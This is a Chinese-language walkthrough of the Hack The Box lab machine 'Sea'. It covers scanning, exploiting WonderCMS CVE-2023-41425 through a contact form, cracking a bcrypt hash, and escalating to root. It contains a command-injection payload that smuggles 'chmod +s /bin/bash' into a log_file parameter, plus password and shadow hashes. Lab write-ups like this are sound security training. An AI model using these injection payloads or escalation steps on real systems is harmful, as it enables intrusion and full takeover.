基本信息
- https://app.hackthebox.com/machines/Sea
- 10.10.11.28
端口扫描
22,80:
1 | nmap -sC -sV -Pn 10.10.11.28 |
80
直接ip访问没什么东西,how-to-participate里可以看到http://sea.htb/contact.php链接:
sea.htb
添加hosts后访问,一个提交信息的页面:
1 | 10.10.11.28 sea.htb |
测试提交url,能收到自动访问:
目录扫描
字典要稍微大点,一层层
1 | gobuster dir -w ~/Tools/dict/SecLists/Discovery/Web-Content/big.txt -t 50 -u http://sea.htb/ |
根据readme知道是WonderCMS:
WonderCMS
然后根据WonderCMS,搜到相关漏洞:
- WonderCMS/wondercms: Fast and small flat file CMS (5 files). Built with PHP, JSON database.
https://github.com/WonderCMS/wondercms - CVE-2023-41425 (WonderCMS Remote Code Execution) - PoC
https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413
我们在contat那里也可以看到会自动访问我们提交的URL,所以可以利用这个漏洞
需要自己改一下代码,exp是从github下载zip,改成从自己机器,生成的URL提交,打到www-data:
信息
常规翻文件得到密码hash:
1 | $2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q |
可以破解出密码:
1 | sudo hashcat -m 3200 hash.txt ~/Tools/dict/rockyou.txt |
user flag
amay用户可以用这个密码ssh登录:
System Monitor
查看端口可以发现本地的8080,转发出来访问需要登录,amay的账号密码可以登录,是一个System Monitor:
1 | ssh amay@10.10.11.28 -L 8081:127.0.0.1:8080 |
简单测试就可以发现很基础的命令注入,root权限执行:
提权 & root flag
简单的直接给bash加suid:
1 | log_file=%2Fvar%2Flog%2Fapache2%2Faccess.log`chmod+%2Bs+/bin/bash`&analyze_log= |
shadow
1 | root:$6$llVzHhr7xHrvx1wJ$gH0PLbyPaIOqLrpjpzGZbM2bZ/iHaOfv/bj1YRrktVeZ8.1KQ0Jr1Rv/TL/3Qdh84Fwec1UhX2v0LVAGsuzq.0:19775:0:99999:7::: |
参考资料
- WonderCMS/wondercms: Fast and small flat file CMS (5 files). Built with PHP, JSON database.
https://github.com/WonderCMS/wondercms - CVE-2023-41425 (WonderCMS Remote Code Execution) - PoC
https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413